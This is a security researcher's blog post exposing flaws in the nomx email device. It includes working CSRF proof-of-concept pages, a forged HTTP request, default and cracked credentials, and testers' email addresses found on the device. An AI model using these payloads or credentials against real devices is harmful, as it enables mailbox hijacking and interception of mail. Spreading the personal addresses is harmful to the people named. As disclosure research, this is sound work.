Welcome

I was recently invited to take part in some research by BBC Click, alongside Professor Alan Woodward, to analyze a device that had quite a lot of people all excited. With slick marketing, catchy tag lines and some pretty bold claims about their security, nomx claim to have cracked email security once and for all. Down the rabbit hole we go!

Everything else is insecure.

The world’s most secure communications protocol

nomx ensures absolute privacy for personal and commercial email and messaging

DID YOU KNOW THAT EVERY SINGLE MAJOR EMAIL PROVIDER HAS BEEN HACKED?

That’s a lot of pretty big claims for such a small amount of space on the homepage so I was more than happy to get involved in investigating the device. I met with the BBC in London and they provided the retail packaged device that was to become mine for testing purposes. It’s pretty nice looking with some fancy packaging and you’d hope so too with a starting price of $199!

box-open

Starting the investigation

Before I even powered the device on the first thing I wanted to do was open it up and see what was inside the case. If possible it’d be nice to take a backup of any flash storage or firmware on the device to have a backup that I could revert to if I break something and also a reference point of how the device was when I received it if needed. I flipped it over and started to open up the case expecting to find a fairly basic PCB inside. It had micro-USB for power and an Ethernet port on the side, with the box measuring 14cm x 14cm (5.5″ x 5.5″).

bottom

top

front

Now, as soon as I looked at this device I already had a really bad feeling. First of all, through the vent holes on the top I could see that the PCB inside took up ~25% of the footprint of the device, the case was considerably larger than the PCB inside it, which seemed odd. Second, the MAC address on the bottom looked familiar, really familiar. Putting that little thought to the back of my mind I cracked open the case by removing the standard screws in the bottom to confirm my initial suspicion.

inside

Turns out that MAC address was really familiar because the prefix is from the Raspberry Pi Foundation. They own the B8-27-EB assignment which you can search for on the IEEE website. Select ‘MAC Address Block Large (MA-L)’ from the drop-down menu and filter on ‘Raspberry’.

mac-address

To be clear, I have absolutely no problem with the Raspberry Pi at all, it’s an awesome little device and I’ve used it in a few projects of my own. I wasn’t, however, expecting to find one nestled in the corner of a large box that claims to provide a completely secure and proprietary email protocol! Because the device is just a Raspberry Pi under the hood that made taking a backup really easy. I simply popped out the Micro SD card and put it in my card reader and used Win32DiskImager to take a full clone of the card.

Firing up the device

Now I had a backup of the memory card I could go to town on the device itself and not worry about causing irreparable damage. In the worst case scenario I could always flash back to a stock image and start again without any problems. Knowing it was an rPi I grabbed a spare monitor and keyboard and decided to hook straight up to the device and boot it, I was pretty surprised when it started booting into Raspbian. Once I hit the login prompt I tried the default creds to no avail took a few shots at the root password too, no joy. It’s pretty easy to reset the root user password on an rPi though so I took the card out, tinkered with it on my PC and booted it back up again to a root shell.

starting

Yes, there are a few things to be concerned about in those images but the main point is I had a root shell so I could reset the root user password and SSH in to the rPi from my main PC instead of using a crappy monitor and keyboard. I dropped my SSH key in there and also fired up WinSCP from my desktop to take a full dump of the OS contents to work with. The device was running Nginx so I wanted to look where the web root was to browse through the source and I also saw a couple of other programs starting on boot like dovecot and postfix. There were quite a few interesting things to look through!

Old software

I wanted to see exactly what was running on the device so I did a quick run down of the software that was installed and how it was configured, here’s the list of what I could find:

  • Raspbian GNU/Linux 7 (wheezy) – last updated 7th May 2015
  • nginx version: nginx/1.2.1 – released 5th June 2012
  • PHP 5.4.45-0+deb7u5 – released 3rd September 2015
  • OpenSSL 1.0.1t – released 3rd May 2016
  • Dovecot 2.1.7 – released 29th May 2012
  • Postfix 2.9.6 – released 4th February 2013
  • MySQL Ver 14.14 Distrib 5.5.52 – released 6th September 2016

It’s interesting to see such outdated versions of software on there, if the device was built even remotely recently I’m not sure how you’d end up with such seriously old versions installed. I had a look for any auto-update mechanism that I could find but couldn’t see anything on there. Perhaps the device will trigger some kind of update later when I go through the setup in the web interface so all may not be lost just yet. For now, it was interesting to know that everything on there seemed to be pretty standard for your everyday mail server, there were certainly no hints of anything proprietary.

Setup – Server

After my quick dig around at the command line I decided to open up the browser and go through the setup process. You have to get the IP of the device from your router or DHCP server and connect to it in the browser.

We can’t login just yet though as we don’t have an account on the device so we have to manually navigate to the Setup page.

Further down the setup page we can create our own ‘superadmin’ account and all we need is the setup password.

setup-2

The only problem is I couldn’t find the setup password anywhere so I had to hit the lost password link. This prompts me to create a new setup password and then instructs me to edit a PHP file on the device and paste the password in there!

Now, I’m not sure how someone is supposed to edit this PHP file right now because I can’t see the SSH instructions anywhere nor can I see the setup password anywhere either. To save you all the trouble I extracted the hash of the original password whilst I had SSH access and you can see it here:

ec949c6a38322f160e8975cea965b4f6:1b84261e5d578c248825a58512175fa17d2bc118  

It turns out this was pretty easy to break after I had a quick dig in the source to see how they generated the hash.

function generate_setup_password_salt() {  
    $salt = time() . '*' . $_SERVER['REMOTE_ADDR'] . '*' . mt_rand(0,60000);
    $salt = md5($salt);
    return $salt;
}

function encrypt_setup_password($password, $salt) {  
    return $salt . ':' . sha1($salt . ':' . $password);
}

Soooo, yeah. I also had a dig around in the config file and stumbled over this which is used during the setup process.

$CONF['min_password_length'] = 5;

Anyway, the main point for now was that I managed to crack the setup password, which was death, with a quick tweet asking for help or I could have set my own if I needed so I could create an account and login to the device.

Configuration

With my ‘superadmin’ account created I could now begin the process of setting up my unhackable (not) email server. Interesting that my browser thinks the login page isn’t secure huh.

login-1

At this point I won’t bore you with the rest of the terrible web interface but you setup a few mailboxes with credentials that can then be configured in your favourite mail client. Everything seems pretty darn standard for “The world’s most secure communications protocol”. The setup instructions also ask me to open a series of ports in my router and forward them to the nomx device:

  • port 26 / TCP
  • port 465 / TCP
  • port 587 / TCP
  • port 993 / TCP
  • port 995 / TCP

These must be the ports for their protocol! (Hint: these are standard email server ports) So, I decided to set my email account up in Thunderbird and sure enough, it didn’t work. I couldn’t for the life of me get this thing to work properly even just sending a basic email until I realised that they don’t ask you to open port 25 in the instructions which is required as the standard SMTP port! I will detail more on what port 26 is for later but once I opened up port 25 I could at least send and receive email. Well, I could almost send and receive email.

Spam Hammer

The only problem with trying to send an email from a dynamic, residential IP address (the default here in the UK) is that you look incredibly ‘spammy’. ISPs and email providers just don’t expect email to be sent from an IP like this and it’s often something that malware would do. As a result, it gets blocked. It doesn’t just go to the Spam Folder either, in a lot of cases the mail is rejected and sent back. This was exactly the case when I tried to send an email to my own Hotmail address and it was immediately returned.

mail-returned

This is great news, I can’t send emails from my new super awesome secure email server to anyone with a Microsoft email account because they just return it. The story is pretty similar across the board with the email either being returned or put straight in the spam folder of the recipient. I tried against GMail and a few other large providers and found that not one of them made it to the inbox anywhere. After I got a few emails bounced I thought I’d check to see if my IP had been flagged yet and to my surprise it had already been placed on 3 blacklists!

Web app testing

The next item on my list was the web application and having access to the source code made this a whole lot easier to test. After a cursory skim I could see that it was vulnerable to XSS and CSRF in countless places. This alone presented a pretty significant risk given that the web interface is effectively used to control the mail server.

With the ability to abuse CSRF you can carry out any action that is present in the web interface, which includes adding and removing domains, adding and deleting mailboxes and adding and configuring an SMTP mail relay… Just think about that one for a second. To prove the device was vulnerable to CSRF, beyond seeing there were no mitigations in the code, I fired up Fiddler and crafted a HTTP request to create a new mailbox with my session ID.

POST http://192.168.1.102/create-mailbox.php?domain=testingnomxsecurity.com HTTP/1.1  
Host: 192.168.1.102  
Cookie: PHPSESSID=39r4bb36385te1seds0dgtpt87  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 127

fUsername=csrf&fDomain=testingnomxsecurity.com&fPassword=csrf&fPassword2=csrf&fName=csrf&fActive=on&fMail=on&submit=Add+Mailbox  

This created a new mailbox for csrf@testingnomxsecurity.com and set the user credentials so I could now login to send and receive emails from this address. This means I can now create arbitrary mailboxes on your domain and then send and receive emails from them. That’s pretty devastating when I can create anything I want like sales@billing@ceo@ or any one of the countless and highly offensive names I can think of to then send emails from your domain. Of course, with the ability to create a mailbox comes the ability to delete a mailbox which I can also do with CSRF. Launching this attack is pretty easy and I create a basic page to provide my personal details for the handshake and could simply direct a nomx user there. If they want to setup a handshake they will view the page that contains my details, and the CSRF attack, and then login to their nomx device allowing for successful delivery. I wanted to take this one step further though and not have to have the user do anything at all. I wanted them to simply visit a page, even for a brief second, and have their device totally compromised. Turns out it wasn’t that hard…

Undocumented admin account

After delving into the database on the device and browsing through a few tables, I saw something that horrified me. There was another admin account alongside my own that I hadn’t created.

mysql> select * from admin;  
+------------------------+------------------------------------+---------------------+---------------------+--------+
| username               | password                           | created             | modified            | active |
+------------------------+------------------------------------+---------------------+---------------------+--------+
| admin@example.com      | $1$d2242313$UJ6TolBZXSQQvrXvlMZO2/ | 2015-10-10 18:31:30 | 2016-10-24 21:35:46 |      1 |
| scotthelme@hotmail.com | $1$7d33f257$qxWGsOPg1PX6Axu.NoNaK0 | 2017-03-13 17:24:05 | 2017-03-13 17:24:05 |      1 |
+------------------------+------------------------------------+---------------------+---------------------+--------+

I extracted the hash and posted it to Twitter to see if I could crowd-source the input and it didn’t take very long for someone to come back to me with the answer.

The password was, quite literally, “password”. Sure enough I immediately opened up the web interface and I could indeed login with the username admin@example.com and the password password. I had full control of the device. This is inexplicably bad for more reasons than I care to list but coupled with the above CSRF attack I now don’t need to depend on the user to be logged in to the device to perform administrative functions, I can simply login to the device with these admin credentials and do anything I like. All this requires is two simple iframes on a page.

<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.1.1/jquery.min.js" integrity="sha256-hVVnYaiADRTO2PzUGmuLJr8BLUSjGIZsDYGmIJLv2b8=" crossorigin="anonymous"></script>  
<form action="http://192.168.1.102/login.php" method="POST" id="login" name="login">  
<input type="hidden" value="admin@example.com" name="fUsername" id="fUsername"/>  
<input type="hidden" value="password" name="fPassword" id="fPassword"/>  
<input type="submit" value="Login">  
</form>  
<script>  
$(document).ready(function(e) {
    $('#login').submit();
});
</script>  
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.1.1/jquery.min.js" integrity="sha256-hVVnYaiADRTO2PzUGmuLJr8BLUSjGIZsDYGmIJLv2b8=" crossorigin="anonymous"></script>  
<form action="http://192.168.1.102/create-mailbox.php?domain=testingnomxsecurity.com" method="POST" id="mailbox" name="mailbox">  
<input type="hidden" value="csrf" name="fUsername" id="fUsername"/>  
<input type="hidden" value="testingnomxsecurity.com" name="fDomain" id="fDomain"/>  
<input type="hidden" value="password" name="fPassword" id="fPassword"/>  
<input type="hidden" value="password" name="fPassword2" id="fPassword2"/>  
<input type="hidden" value="csrf" name="fName" id="fName"/>  
<input type="hidden" value="on" name="fActive" id="fActive"/>  
<input type="hidden" value="on" name="fMail" id="fMail"/>  
</form>  
<script>  
$(document).ready(function(e) {
    setTimeout(function() {$('#mailbox').submit();},3000);
});
</script>  

I owe a thanks to Paul for helping me perfect the payload here, I was tackling it the wrong way until he gave me this much easier solution. With these two iframes embedded on a page, if I were to visit that they would first authenticate me to the nomx device and then create a new mailbox of my choosing. I can then login to my brand new mail account on that domain and use it. You can also change the password of existing mailboxes because it doesn’t ask for the current password to change it, allowing me access to all of your emails. You can configure an outbound mail relay for the device to intercept future communications and a whole bunch more. All an attacker needs to do with this is know the IP of the nomx device. Given that you get the client IP address thanks to the WebRTC extension of HTML5, iterating through the rest of what is probably a class C address space is easy and can be done in a flash. Let’s not forget the nomx device also sets a localmail subdomain in DNS that contains the internal IP of the device! This is about as a bad as it can get and results in total compromise of the device for simply visiting a single webpage for a second or so, no user action required.

Update: Doing an update like this, prior to publication, is a little unusual because I’d normally just make the changes and not need to mention the update as the article isn’t finished yet. I’ve decided to add an “update” though to show you an interesting few steps in the process that I had to go through. I was a bit confused about how the whole setup process would work for a user receiving one of these devices, I had to extract and crack a hash to get it to work. I’ve seen poor documentation for new devices before, something that can be forgiven, but I soon learnt that my device didn’t come with any paper documentation and it turns out it should have. I got a copy of the paper documentation and started reading. It also didn’t mention the setup page anywhere because, as it turns out, you aren’t supposed to use it at all. Your username and password to login to the device are listed in the documentation and it’s so bad I had to scan a copy just to show you.

Creating an undocumented admin account

As I mentioned further up the page, there was the setup.php file that I originally used to create my own account but now seems to be redundant given our default admin account. For my CSRF attack to be 100% reliable though, and work around the user possibly having changed their password (unlikely), I could just create my own admin account on the device via CSRF.

<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.1.1/jquery.min.js" integrity="sha256-hVVnYaiADRTO2PzUGmuLJr8BLUSjGIZsDYGmIJLv2b8=" crossorigin="anonymous"></script>  
<form action="http://192.168.1.102/setup.php" method="POST" id="admin" name="admin">  
<input type="hidden" value="createadmin" name="form" id="form"/>  
<input type="hidden" value="death" name="setup_password" id="setup_password"/>  
<input type="hidden" value="anonymous@example.com" name="fUsername" id="fUsername"/>  
<input type="hidden" value="password" name="fPassword" id="fPassword"/>  
<input type="hidden" value="password" name="fPassword2" id="fPassword2"/>  
</form>  
<script>  
$(document).ready(function(e) {
    setTimeout(function() {$('#admin').submit();},1000);
});
</script>  

This will now create me a brand new admin account on the nomx device that is completely undetectable to the end user as there is nowhere to view/edit admin accounts on the device. I can now use this admin account for any subsequent CSRF attacks and be sure that the credentials will work and allow me to authenticate. This allows for a full compromise of any nomx device by an external attacker via CSRF or a local attacker on the network can either authenticate with the default account or create themselves an admin account to login with…

Other issues

There were a few other issues I came across whilst testing this device, some of which would be simple to fix and others not so much.

  • There are no automatic updates configured anywhere on this device that I can find. It’s running hideously outdated software and there appears to be no mechanism to update it at all.
  • The device doesn’t setup and configure SPF, DKIM or DMARC, which a good email provider/server should do.
  • The Relay Settings page writes user input into a config file without any sanitisation. This config file is then read in by Postfix. At a minimum I’ve managed to corrupt the config so Postfix won’t start but perhaps there is an additional attack vector here.
  • The code is riddled with bad examples of how to do things and it seems was developed by one guy called ‘shawn’ whose name appears throughout. They narrowly avoided one persistent XSS vulnerability by stripping tags followed by the comment /* should we even bother? */.
  • There are a lot of edited and half baked files where the .php extension has been changed, presumably to stop them being visited in the browser. What this results in is the browser simply downloading the files instead.
  • The device uses self-signed certs throughout and they aren’t even device specific. It’s using the default ssl-cert-snakeoil.pem and ssl-cert-snakeoil.key in the Postfix config.
  • Their main company website has the themes default 404 page with links to download it and to the Gantry theme framework: https://nomx.com/404
  • They also have a publicly accessible Joomla login, though I’ve not done any poking around here: https://nomx.com/administrator/
  • The device depends on the GoDaddy API to update its DNS record, if this changes or goes down/away then you have no mechanism to update DNS. There’s also the issue of the 1 hour DNS TTL when your IP changes which means emails don’t make it through for a short period.
  • The device only sets the 2 subdomains (mail and localmail) in DNS. With no MX record set it’d be wise to set an A record for the bare domain to help with external mail delivery too. Ideally they should just set an MX record…
  • Each user has a configured mailbox size of 10MB and without being able to SSH into the box you can’t change this. Good luck sending any attachments.
  • They have what looks like an old config file on the disk that contains what looks like genuine user credentials.
office@nomx.comcastbiz.net:Good[redacted]77  
  • The root user had various files containing things like the bash and mysql history in the home directory which contained several domains/emails of people who I assume helped to test the device.
shawn@digiland.com  
shawn@mcsp.com  
sam@sambarrow.com  
www.mcsp.com  
www.mcsp.net  
huntersnet.net  
huntersnet.co.uk  
hunters.com  
  • The file /var/mail/root contains notification emails going back almost 2 years.
  • There are several files in the web root that have bad extensions so can be directly downloaded in the browser.
http://192.168.1.102/main.php-orig  
http://192.168.1.102/main.php-shawn  
http://192.168.1.102/delete.php-orig  
http://192.168.1.102/templates/admin_edit-handshake.php-shawn  
http://192.168.1.102/templates/list-virtual.php-shawn  
http://192.168.1.102/templates/list-virtual.php-orig  
  • How could I not mention security headers! There are a few headers that really should be set here like CSP and XFO at a minimum. Setting others like XCTO and XXP certainly wouldn’t hurt either…
  • There are certain times when the box seems to throw 500 errors for no reason like when you try to access robots.txt, which doesn’t exist.

Is this a scam?

It would be very easy to conclude that this is a scam. The device is running standard mail server software running on a Raspberry Pi, most of which is outdated. They have presented at countless tech shows and can be constantly found making bold statements of ‘absolute security’ yet didn’t pick up a CSRF vulnerability in their web interface.